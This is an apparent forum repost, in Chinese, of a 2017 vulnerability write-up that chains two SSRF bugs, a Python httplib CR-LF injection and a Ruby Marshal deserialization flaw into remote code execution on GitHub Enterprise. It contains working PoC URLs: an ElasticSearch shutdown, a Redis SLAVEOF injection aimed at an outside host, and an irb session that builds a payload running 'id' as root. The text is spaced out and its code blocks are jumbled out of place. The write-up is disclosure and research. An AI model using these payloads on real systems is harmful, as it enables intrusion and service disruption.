搜索

[20850] 2017-08-10_综合利用4个漏洞实现GitHubEnterprise远程代码执行

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-08-10_综合利用4个漏洞实现GitHubEnterprise远程代码执行 综 合 利 用 4 个 漏 洞 实 现 G i t H u b   E n t e r p r i s e 远 程 代 码 执 行 L e m o n S e c   2 0 1 7 - 0 8 - 1 0 挖 洞 开 始 第 1 个 漏 洞   –   表 面 无 用 的 S S R F 漏 洞 在 研 究 G i t H u b   E n t e r p r i s e 程 序 时 ， 我 发 现 了 一 个 名 为 W e b H o o k 的 有 趣 功 能 ， 它 能 在 某 些 特 定 G I T 命 令 执 行 时 自 定 义 H T T P 回 调 。 如 你 可 定 义 如 下 回 调 U R L ： h t t p s : / / < h o s t > / < u s e r > / < r e p o > / s e t t i n g s / h o o k s / n e w 并 通 过 提 交 文 件 触 发 执 行 它 ， 对 此 ， G i t H u b   E n t e r p r i s e 会 利 用 一 个 H T T P 请 求 提 示 你 。 实 际 的 P a y l o a d 和 执 行 请 求 如 下 ： P a y l o a d   U R L : h t t p : / / o r a n g e . t w / f o o . p h p 回 调 请 求 （ C a l l b a c k   R e q u e s t ） ： 另 外 ， 由 于 G i t H u b   E n t e r p r i s e 使 用 R u b y   G e m 的 f a r a d a y 库 库 来 获 取 外 部 资 源 ， 并 通 过 G e m 的 f a r a d a y - r e s t r i c t - i p - a d d r e s s e s 功 能 来 防 止 用 户 请 求 内 部 服 务 。 这 个 G e m 功 能 就 像 一 个 黑 名 单 机 制 ， 但 我 们 可 以 通 过 R F C 3 9 8 6 定 义 的 稀 有 I P 地 址 格 式 （ R a r e   I P   A d d r e s s   F o r m a t s ） 来 绕 过 它 ， 想 想 ， 在 L i n u x 系 统 中 ， 0 代 表 的 是 l o c a l h o s t ， 所 以 有 以 下 P o C ： h t t p : / / 0 / O K ， 现 在 我 们 的 一 个 S S R F 漏 洞 成 型 了 ， 但 却 发 挥 不 了 作 用 ， 为 什 么 呢 ？ 这 是 因 为 该 S S R F 漏 洞 存 在 以 下 几 方 面 限 制 ： 只 支 持 P O S T 方 法 只 允 许 H T T P 和 H T T P S 方 式 不 产 生 3 0 2 重 定 向 f a r a d a y 中 不 存 在 C R - L F 命 令 注 入 无 法 对 P O S T 数 据 和 H T T P 头 信 息 进 行 控 制 我 们 唯 一 能 控 制 的 就 是 其 中 的 P a t h （ 路 径 ） 部 分 。 但 值 得 一 提 的 是 ， 该 S S R F 漏 洞 可 导 致 拒 绝 服 务 攻 击 （ D o S ） 。 由 于 G i t H u b   E n t e r p r i s e 的 9 2 0 0 端 口 为 绑 定 了 一 个 E l a s t i c S e a r c h 搜 索 服 务 ， 当 使 用 关 机 命 令 时 ， 该 E l a s t i c S e a r c h 服 务 不 会 对 P O S T 数 据 进 行 检 查 ， 因 此 ， 我 们 可 随 意 对 它 的 R E S T - f u l   A P I 接 口 进 行 操 作 ， 可 有 如 下 D o S 的 P o C ： h t t p : / / 0 : 9 2 0 0 / _ s h u t d o w n / 第 2 个 漏 洞   –   内 部 G r a p h i t e 服 务 的 S S R F 第 1 个 S S R F 漏 洞 利 用 存 在 诸 多 限 制 ， 所 以 我 继 续 测 试 其 内 部 服 务 看 是 否 能 为 我 所 用 。 这 还 真 是 个 大 工 程 ， 因 为 其 中 包 含 了 数 种 H T T P 服 务 ， 每 种 服 务 都 由 C 、 C + + 、 G o 、 P y t h o n 和 R u b y 分 别 实 现 。 在 经 过 数 天 的 研 究 之 后 ， 我 发 现 其 中 一 个 8 0 0 0 端 口 名 为 G r a p h i t e 的 服 务 ， 该 服 务 负 责 高 度 扩 展 地 向 用 户 实 时 显 示 系 统 当 前 状 态 ， 其 为 P y t h o n 编 写 的 开 源 项 目 （ 可 点 此 下 载 源 码 ） 。 在 对 G r a p h i t e 源 码 的 分 析 后 ， 我 又 快 速 发 现 了 另 外 一 个 S S R F 漏 洞 ， 它 存 在 于 以 下 文 件 w e b a p p s / g r a p h i t e / c o m p o s e r / v i e w s . p y 从 上 述 代 码 可 以 看 到 ， G r a p h i t e 服 务 会 接 收 用 户 输 入 的 u r l 地 址 然 后 对 该 地 址 进 行 获 取 利 用 ！ 所 以 ， 这 样 的 话 ， 我 们 就 可 以 利 用 第 1 个 S S R F 漏 洞 来 触 发 这 第 2 个 S S R F 漏 洞 ， 最 后 还 可 将 这 两 个 漏 洞 组 合 成 一 个 S S R F 执 行 链 。 合 成 的 S S R F 执 行 链 P a y l o a d 如 下 ： 第 二 个 S S R F 漏 洞 的 请 求 ： O K ， 现 在 我 们 已 经 成 功 地 将 基 于 P O S T 的 S S R F 漏 洞 改 造 成 了 基 于 G E T 的 S S R F 漏 洞 了 。 但 仍 然 不 能 直 接 实 现 有 效 的 漏 洞 利 用 ， 再 挖 挖 看 ! 第 3 个 漏 洞   –   P y t h o n 语 言 的 C R - L F 命 令 注 入 可 以 从 G r a p h i t e 源 码 中 看 到 ， G r a p h i t e 使 用 P y t h o n 的 h t t p l i b . H T T P C o n n e c t i o n 方 法 来 获 取 外 部 资 源 。 在 经 过 一 些 研 究 测 试 后 ， 我 发 现 h t t p l i b . H T T P C o n n e c t i o n 方 法 中 竟 存 在 一 个 C R - L F 命 令 注 入 漏 洞 ！ 这 样 的 话 ， 我 们 就 可 以 在 H T T P 协 议 中 嵌 入 恶 意 P a y l o a d 了 。 C R - L F 注 入 P o C ： 该 注 入 漏 洞 在 整 个 漏 洞 利 用 链 中 发 挥 的 作 用 非 常 关 键 。 现 在 ， 我 就 可 以 在 这 个 S S R F 漏 洞 执 行 链 中 引 入 其 他 协 议 了 ， 比 如 ， 如 果 想 拿 R e d i s 下 手 ， 可 以 尝 试 使 用 下 列 P a y l o a d ： P O S T   / f o o . p h p   H T T P / 1 . 1 H o s t :   o r a n g e . t w A c c e p t :   * / * U s e r - A g e n t :   G i t H u b - H o o k s h o t / 5 4 6 5 1 a c X - G i t H u b - E v e n t :   p i n g X - G i t H u b - D e l i v e r y :   f 4 c 4 1 9 8 0 - e 1 7 e - 1 1 e 6 - 8 a 1 0 - c 8 1 5 8 6 3 1 7 2 8 f c o n t e n t - t y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   8 9 7 2 p a y l o a d = . . . d e f   s e n d _ e m a i l ( r e q u e s t ) :         t r y :                 r e c i p i e n t s   =   r e q u e s t . G E T [ ' t o ' ] . s p l i t ( ' , ' )                 u r l   =   r e q u e s t . G E T [ ' u r l ' ]                 p r o t o ,   s e r v e r ,   p a t h ,   q u e r y ,   f r a g   =   u r l s p l i t ( u r l )                 i f   q u e r y :   p a t h   + =   ' ? '   +   q u e r y                 c o n n   =   H T T P C o n n e c t i o n ( s e r v e r )                 c o n n . r e q u e s t ( ' G E T ' , p a t h )                 r e s p   =   c o n n . g e t r e s p o n s e ( )                 . . . h t t p : / / 0 : 8 0 0 0 / c o m p o s e r / s e n d _ e m a i l ? t o = o r a n g e @ n o g g & u r l = h t t p : / / o r a n g e . t w : 1 2 3 4 5 / f o o $   n c   - v v l p   1 2 3 4 5 . . . G E T   / f o o   H T T P / 1 . 1 H o s t :   o r a n g e . t w : 1 2 3 4 5 A c c e p t - E n c o d i n g :   i d e n t i t y h t t p : / / 0 : 8 0 0 0 / c o m p o s e r / s e n d _ e m a i l ? t o = o r a n g e @ n o g g & u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 4 5 / % 0 D % 0 A i _ a m _ p a y l o a d % 0 D % 0 A F o o : $   n c   - v v l p   1 2 3 4 5 . . . G E T   / i _ a m _ p a y l o a d F o o :   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 : 1 2 3 4 5 A c c e p t - E n c o d i n g :   i d e n t i t y h t t p : / / 0 : 8 0 0 0 / c o m p o s e r / s e n d _ e m a i l ?
说 明 ： 由 于 R e d i s 的 S L A V E O F 命 令 可 以 允 许 执 行 带 外 数 据 ， 所 以 ， 这 对 某 些 B l i n d - S S R F 实 现 非 常 有 效 。 现 在 漏 洞 利 用 思 路 已 经 柳 暗 花 明 ， 但 一 些 可 引 入 协 议 还 存 在 问 题 ， 如 ： S S H 、 M y S Q L 和 S S L 协 议 会 失 效 由 于 P y t h o n 2 版 本 原 因 ， 第 2 个 S S R F 漏 洞 所 使 用 的 P a y l o a d 只 允 许 0 × 0 0 到 0 x 8 F 的 字 节 数 据 通 过 顺 便 提 下 ， 还 有 很 多 利 用 H T T P 引 入 协 议 的 利 用 方 法 ， 如 基 于 L i n u x   G l i b c 功 能 的 S S L   S N I 引 入 协 议 ， 以 及 C V E - 2 0 1 6 - 5 6 9 9 的 P y t h o n 标 注 头 注 入 等 ， 具 体 参 看 我 的 B l a c k H a t 演 讲 P P T 。 第 4 个 漏 洞   –   封 装 模 块 存 在 反 序 列 化 漏 洞 现 在 的 问 题 是 ， 我 该 选 择 哪 个 协 议 进 行 引 入 呢 ？ 另 外 ， 我 还 花 费 了 大 把 时 间 来 测 试 控 制 R e d i s 或 M e m c a c h e d 之 后 可 以 触 发 的 漏 洞 。 在 对 大 量 源 码 的 分 析 过 程 中 ， 我 对 G i t H u b 在 M e m c a c h e d 中 存 储 R u b y 对 象 的 机 制 觉 得 好 奇 ， 一 番 研 究 后 发 现 ， G i t H u b   E n t e r p r i s e 使 用 R u b y   G e m 的 M e m c a c h e d 方 式 来 处 理 缓 存 ， 而 其 通 过 M a r s h a l 模 块 进 行 封 装 。 这 下 好 了 ， 大 家 知 道 M a r s h a l 模 块 本 来 就 不 安 全 且 存 在 反 序 列 化 漏 洞 （ 点 此 参 考 ） 。 更 上 一 层 楼 了 ！ 我 们 可 以 使 用 前 述 的 S S R F 漏 洞 执 行 链 来 把 恶 意 R u b y 对 象 存 储 在 M e m c a c h e d 中 ， 当 G i t H u b 要 获 取 缓 存 时 ， R u b y   G e m   m e m c a c h e d 就 会 自 动 执 行 反 序 列 化 操 作 ， 这 种 效 果 就 会 是 ： 哇 ， 远 程 代 码 执 行 ！ G i t H u b   E n t e r p r i s e   R a i l s 控 制 端 中 存 在 反 序 列 化 漏 洞 的 M a r s h a l ： 回 过 头 来 ， 我 们 总 结 梳 理 一 下 整 个 漏 洞 利 用 过 程 ： 第 1 个 S S R F 漏 洞 ， 用 来 绕 过 W e b H o o k 的 保 护 机 制 第 2 个 S S R F 漏 洞 ， 存 在 于 G r a p h i t e 服 务 中 结 合 第 1 个 和 第 2 个 S S R F 漏 洞 ， 组 成 S S R F 漏 洞 执 行 链 发 现 S S R F 执 行 链 中 的 C R - L F 命 令 注 入 漏 洞 利 用 M e m c a c h e d 方 式 的 M a r s h a l 反 序 列 化 漏 洞 ， 注 入 恶 意 M a r s h a l 对 象 触 发 远 程 代 码 执 行 最 终 P o C 如 下 ： 修 复 措 施 G i t H u b 采 取 了 以 下 修 复 措 施 ： 增 强 了 G e m 的 f a r a d a y - r e s t r i c t - i p - a d d r e s s e s 功 能 采 用 了 自 定 义 D j a n g o 中 间 件 来 防 止 攻 击 者 从 外 部 访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / r e n d e r / 加 强 i p t a b l e s 规 则 ， 限 制 U s e r - A g e n t :   G i t H u b - H o o k s h o t 访 问 模 式 h t t p : / / 0 : 8 0 0 0 / c o m p o s e r / s e n d _ e m a i l ? t o = o r a n g e @ n o g g & u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 3 7 9 / % 0 A S L A V E O F % 2 0 o r a n g e . t w % 2 0 6 3 7 9 % 0 A i r b ( m a i n ) : 0 0 1 : 0 >   G i t H u b . c a c h e . c l a s s . s u p e r c l a s s = >   M e m c a c h e d : : R a i l s i r b ( m a i n ) : 0 0 2 : 0 >   G i t H u b . c a c h e . s e t ( " n o g g " ,   " h i h i h i " ) = >   t r u e i r b ( m a i n ) : 0 0 3 : 0 >   G i t H u b . c a c h e . g e t ( " n o g g " ) = >   " h i h i h i " i r b ( m a i n ) : 0 0 4 : 0 >   G i t H u b . c a c h e . g e t ( " n o g g " ,   : r a w = > t r u e ) = >   " x 0 4 b I " v h i h i h i x 0 6 : x 0 6 E T " i r b ( m a i n ) : 0 0 5 : 0 >   c o d e   =   " ` i d ` " = >   " ` i d ` " i r b ( m a i n ) : 0 0 6 : 0 >   p a y l o a d   =   " x 0 4 x 0 8 "   +   " o " + " : x 4 0 A c t i v e S u p p o r t : : D e p r e c a t i o n : : D e p r e c a t e d I n s t a n c e V a r i a b l e P r o x y " + " x 0 7 "   +   " : x 0 E @ i n s t a n c e "   +   " o " + " : x 0 8 E R B " + " x 0 7 "   +   " : x 0 9 @ s r c "   +   M a r s h a l . d u m p ( c o d e ) [ 2 . . - 1 ]   +   " : x 0 c @ l i n e n o " +   " i x 0 0 "   +   " : x 0 C @ m e t h o d " + " : x 0 B r e s u l t " = >   " u 0 0 0 4 b o : @ A c t i v e S u p p o r t : : D e p r e c a t i o n : : D e p r e c a t e d I n s t a n c e V a r i a b l e P r o x y a : u 0 0 0 E @ i n s t a n c e o : b E R B a : t @ s r c I " t ` i d ` u 0 0 0 6 : u 0 0 0 6 E T : f @ l i n e n o i u 0 0 0 0 : f @ m e t h o d : v r e s u l t " i r b ( m a i n ) : 0 0 7 : 0 >   G i t H u b . c a c h e . s e t ( " n o g g " ,   p a y l o a d ,   6 0 ,   : r a w = > t r u e ) = >   t r u e i r b ( m a i n ) : 0 0 8 : 0 >   G i t H u b . c a c h e . g e t ( " n o g g " ) = >   " u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) n "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理